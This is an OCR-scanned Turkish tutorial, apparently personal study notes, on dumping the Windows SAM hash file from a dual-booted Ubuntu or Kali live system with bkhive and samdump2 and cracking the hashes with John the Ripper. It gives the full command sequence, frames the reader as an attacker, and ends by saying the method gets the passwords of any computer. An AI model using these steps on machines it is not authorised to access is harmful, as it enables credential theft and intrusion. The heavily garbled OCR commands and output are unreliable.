Ubuntu'dan SAM Deosyasim Cekme

(+) Bu belgedeki islemler birebir denenmistir ve bagarili olunmustur.

Bu yazida Windows ve Ubuntu yanyana kuruluyken Ubuntu'dan Windows'taki SAM dosyasini
cekme anlatilacaktir. Tim bu siire¢ boyunca kullanilan isletim sistemleri sunlardir:

- Windows 10
- Ubuntu 14.04

Oncelikle yapilacak adimlardan bahsedelim ve sonra bu adimlar teker teker uygulayalim. ilk olarak
Ubuntu ile sistem boot edilecektir. Ardindan terminalden HDD {iizerindeki partition'lar
listelenecektir. Iclerinden Windows'a ait olan partition terminalden Ubuntu'nun bir klasériine mount
edilecektir. Sonra o klasérden Windows'un SAM dosyasinmi barindiran dizinine gecilip bkhive tool'u
ile SAM dosyasi bir txt dosyasina ¢ekilecektir. Son olarak da txt dosyasina cekilen SAM dosyasinin
icerigi samdump? tool'u ile okunabilir hale doniistiiriiliip yeni bir txt dosyasina bu elde edilen icerik
aktarilacaktir. Boylece Windows hesap 6zetlerini (hash'lerini) elde edebilmis olacagiz. Simdi
baslayalim.

Once Ubuntu ile sistemi baglatalim. Ardindan terminale asagidakileri girerek partition'lari
siralayalim.

> sudo su
> fdisk -1

Output:

root@hefese-N61Jq: /home/hefese
root@hefese-N611q: /home /hefese# fdisk -1

Disk /dev/sda: 640.1 GB, 640135028736 bytes

255 heads, 63 sectors/track, 77825 cylinders, total 1250263728 sectors
Units = sectors of 1 *# 512 = 512 bytes

sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes

Disk identifier: @xe®c5913d

Device Boot Start End Blocks Id System
* 63 858076905 429038421+ 7 HPFS/NTFS/exFAT
858077184 859076607 499712 27 Hidden NTFS WinRE
859079342 1250259631 195590145 f W95 Ext'd (LBA)
859079344 1237830319 189375488 83 Linux
1237832368 1250259631 6213632 82 Linux swap Solaris)
root@hefese-N613q: fhome/hefese#

NOT: Partition'lar1 siralamadan 6nce karisiklik olmasin diye bilgisayardaki USB'yi ve SD Card'1
yuvalarindan ¢ikardim. Béylece sadece HDD'ye ait partition'lar ekranda listelendi.

Simdi Windows'a ait oldugunu diisiindiigiimiiz partition'1 mount edelim. Fakat eger hangisinin
Windows'a ait oldugunu bilemezsek sirayla mount edebilir ve windows dizinlerine hangisinden
ulasabiliyorsak o partition'n Windows'a ait oldugunu 6grenebiliriz. Biz siral partition'lardan sdal'i
secelim ve Ubuntu'nun /root dizinine mount edelim.



> mount /dev/sdal /root // Sistem restart oldugunda bu iglem geri aliniyor

/root dizinine gidildiginde windows klasorleri goriintiileneceginden sdal'in windows'a ait bir
partition oldugunu anlariz.

> cd /root/
>1s

Output:

root@hefese-N61Jq: ~

root@hefese-N613q: fhome/hefese# cd [root/
root@hefese-N61Jq:~# 1s
pagefile.sys

globdata.ini
HaxLogs.txt
hiberfil.sys swapfile.sys
Documents and Settings
install.exe
eula.1028.txt install.ini
eula.1031.txt install.res.1028.d11 VC_RED.cab
.1033. txt install.res.1031.d11 vcredist.bmp
.1036.txt install.res.1033.d11 VC_RED.MSI
.1040.txt install.res.1036.d11
.1041. txt install.res.1040.d11
.1042. txt install.res.1041.d11 SWINRE_BACKUP_PARTITION.MARKER
.2052. txt install.res.1042.d11
.3082.txt install.res.2052.d11
install.res.3082.d11

root@hefese-N61Jq: ~# I

NOT: Eger yukaridaki mount kodunu denediginde su hatay1

Mount is denied because the NTFS volume is already exclusively opened.
The volume may be already mounted, or another software may use it which
could be identified for example by the help of the 'fuser' command.

alirsan Ubuntu'da demek ki sistemin otomatikmen mount ettigi C siiriiciisiinii elinle actin
demektir. Dolayisiyla sistemi tekrar baglat ve C siiriiciisiinii yukaridaki kod ile mount
etmeden asla acma.

Yukaridaki resimden de goriilebilecegi iizere Program Files klasorii falan listelenmis. Demek ki
mount ettigimiz partition C siirticiisiiymiis. Artik /root klasorii alindan Windows dosyalarina
erisebiliriz. Simdi Windows'un SAM dosyasini ¢cekmek icin énce /Windows/System32/config
dizinine gidelim.

> cd /root/Windows/System32/config

Ardindan bkhive tool'u ile SAM dosyasini bir txt dosyasina ¢ekelim.



> bkhive SYSTEM key.txt

Output:

root@hefese-N61Jq: ~/Windows/System32/config

root@hefese-N6131q:~# cd /rDotfwlndowsjaystem32fconflg
root@hefese-N611q: ~/Wi e ig# bkhive SYSTEM key.txt
bkhive 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : ROOT

Default ControlSet: 001

Bootkey: 59cc58986587a17cAc5e795Facfaaddf
root@hefese-N613q:~/Windows/System32/configh

Son olarak elde edilen SAM igerikli key.txt dosyasinin icerigini samdump?2 tool'u ile agik secik hale
getirelim ve samdump.txt dosyasina bu halini kaydedelim.

> samdump2 SAM key.txt > samdump.txt

Output:

root@hefese-N61Jq: ~/Windows/System32/config

root@hefese-N61Jq:~/Windows e i SAM key.txt > samdump.t
samdump2 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : ROOT
root@hefese-N613q:~/Windows [System32 fconfig#

Boylelikle hesap tzetlerini elde etmis oluruz.

> cat samdump.txt

Output:

root@hefese-N61Jq: ~/Windows/System32/config

i~ ig# cat samdump.

Administrator:500: aad3b435b51404eeaad3b435b51404ee 31d6cfe@d1639931b73c59d790c08
9ch:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTedd16ae931b73c59d7e0cO89¢cA: : :
[9503:aad3b435b51404eeaad3ba35b51404ee: 31d6cfedd16ae931b73c59d7e0cO89CH: : :
Hasan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73¢59d7e0cO89¢O: ::
root@hefese-N611q:~/Windows/System32/config#

Bundan sonra yapilabilecek sey bu hash ¢iktisin1 komple alip Ubuntu masaiistiine koymak ve John
The Ripper ile kirmak olacaktir. Boylece bir saldirgan olarak sifreyi kirarak (elde ederek) uzaktan



hedef bilgisayarda oturum acabilir ve sisteme tipki karsisinda oturuyormus gibi cmd kodu
girebiliriz.

> cp samdump.txt /home/hefese/Desktop/samdump.txt ~ // Masaiistiine SAM tasinir

> cd /home/hefese/Desktop /I Masaiistiine gecilir

> chmod 777 samdump.txt // SAM'in izni ful'lenir.
> john samdump.txt /I SAM dosyas1 kirilir.
Output:

Loaded 4 password hashes with no different salts (LM [DES 128/128 SSE2-16])
No password hashes left to crack (see FAQ)

Evet, JTR sam dosyasindaki sifreleri “No password hashes left to crack” diyerek kirdigini ve
kirilacak bir sifrenin kalmadigim soyliiyor. O zaman kirilan sifreleri bir goriintiileyelim.

> john --show samdump.txt

Output:
O @@ hefese@hefese-N61Jq: ~/Desktop

hefese@hefese-N611q:~/DesktopS john --show samdump.txt .
dministrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7edch

B9cO:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0cO89¢O: ::
[ﬂ:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d163&931b?3c59d?e@c089c0:::

Hasan::1001:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0c089cO:::

4 password hashes cracked, 0 left
hefese@hefese-N61Jq:~/Desktop$

Yukaridaki segili satirdan goriildiigii tizere 4 sifrenin de kirildig1 sdyleniyor ama ekrana yine hash
ciktilar1 gelmis. Bunun nedeni sifresi kirllmaya caligilan hesaplarin sifrelerinin aslinda olmayisidir.
Bu sam dosyasi ¢ekme islemi sirasinda ben windows'u zaten sifresiz hesapla kullaniyordum.
Dolayisiyla o ekranda goriinen hash'ler aslinda NULL anlamina geliyor. Bu durumla hatirlarsan
Virtualbox'daki Windows XP'ye metasploit'in netapi exploit ile sizip meterpreter payload'u ile elde
ettigin SAM dosyasin JTR ile kirmaya calistifinda da karsilagsmigtin. Windows XP'ye sifre
koydugunu saniyordun ve JTR ile sam dosyasini kirmaya ¢alistiginda yine yukaridaki gibi NULL
anlamina gelen hash'ler ekrana geliyordu. Ne zaman Windows XP'ye sifre koydun, o zaman JTR
sifreyi kirip ekrana kirdig: sifreyi gosterebilmisti. Bu durumu Ubuntu masaiistiindeki Yaz Tatili
2014/John The Ripper Kullammi.docx dékiimaninda yer alan Ornekler bashginin d maddesinde de
belirtmistin. Sonug olarak ekrana kirilmig sifre olarak aad3 ile baslayan yukaridaki hash'ler

aad3b435b51404eeaad3b435b51404ee // NULL anlamina geliyor

gelirse bunun nedeni tamamen kirilacak sifrenin ortada olmayisindandir. Bu asama ile anlagilir ki
uzaktan bir saldirgan sifre girmeden Windows’ta oturum agabilir. O yiizden Windows’a sifre
konulmasi gerekir. Velev ki Windows sifreli olsaydi o zaman JTR ile o hash kirilarak yine saldirgan
uzaktan kurban sisteme girebilirdi ve cmd komutlariyla diledigini yapabilirdi.



NOT: Yukarida anlatilan islemler tipa tip kurban bilgisayar1 Kali Live CD ile boot ederek de
yapilabilir. Eger Kali live'deki terminal'de Tiirkce Q klavye sorunu yasarsan agagidaki kodu girerek
bu sorunu giderebilirsin:

> setxkbmap tr
Kali Live CD ile yukarida anlatilan partition'lar1 siralama, Windows olanini mount etme ve SAM

dosyasini cekme islemlerini yaparak diledigin bilgisayarin hesap 6zetlerini elde edebilir ve
sifrelerini John The Ripper ile kirabilirsin.
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